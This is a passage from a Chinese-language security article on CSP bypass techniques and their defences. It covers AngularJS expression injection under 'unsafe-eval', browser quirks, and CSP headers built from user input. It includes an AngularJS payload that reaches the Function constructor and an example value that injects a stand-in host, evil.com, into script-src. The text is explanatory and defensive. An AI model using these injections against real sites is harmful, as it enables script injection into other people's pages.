‘self‘ ‘unsafe-eval‘ 页面中使用了AngularJS 1.x并且存在用户输入插入到Angular模板中的漏洞。攻击攻击者可以注入AngularJS表达式如{{constructor.constructor(‘alert(1)‘)()}}。由于‘unsafe-eval‘允许AngularJS的$parse服务会执行该表达式最终调用JavaScript的Function构造函数执行任意代码。防御升级AngularJS至已修复该问题的版本避免使用‘unsafe-eval‘对用户输入进行严格的过滤和转义特别是在渲染到Angular模板上下文中时。7.2 利用浏览器Bug或特性差异历史上不同浏览器或特定版本对CSP标准的实现存在差异或Bug可能导致绕过。案例某些旧版本浏览器在处理meta标签重定向到不同源后可能会错误地继承或重置原始页面的CSP策略导致新页面策略失效。案例对于script-src中使用的data:协议不同浏览器支持度不同可能被滥用。防御关注浏览器安全更新在CSP策略中避免使用那些支持度不一致或已知有问题的特性如谨慎使用data:URI使用CSP的report-uri收集异常报告监控是否有利用未知浏览器特性发起的攻击。7.3 通过服务端动态策略生成漏洞如果CSP策略是根据用户输入或其他不可信数据动态生成的那么攻击者可能直接污染策略本身。场景服务器端代码将某个用户可控的参数如callback函数名未经充分过滤就直接拼接到了CSP头的script-src里。攻击用户传入callbackevil.com/ 导致生成的CSP头包含script-src ‘self‘ evil.com/ 从而允许从evil.com加载脚本。防御永远不要将用户输入直接放入CSP头。CSP策略应该在服务器端静态配置或基于可信的、硬编码的模板生成。CSP是一道强大的纵深防御防线但它并非银弹。它的有效性完全依赖于策略配置的严谨性。一个松散的CSP可能只是心理安慰而一个过于严格的CSP又可能阻碍正常业务。理解和掌握其绕过技术正是为了在这两者之间找到那个坚固而合身的平衡点。在实际工作中我倾向于采用“报告优先逐步收紧”的策略先使用Content-Security-Policy-Report-Only模式广泛收集数据修复所有业务兼容性问题同时剔除不安全的配置项最后再切换到强制执行模式。并且将CSP头的生成和审查纳入CI/CD流程和安全扫描中确保每一次代码变更都不会意外削弱这层重要的防护。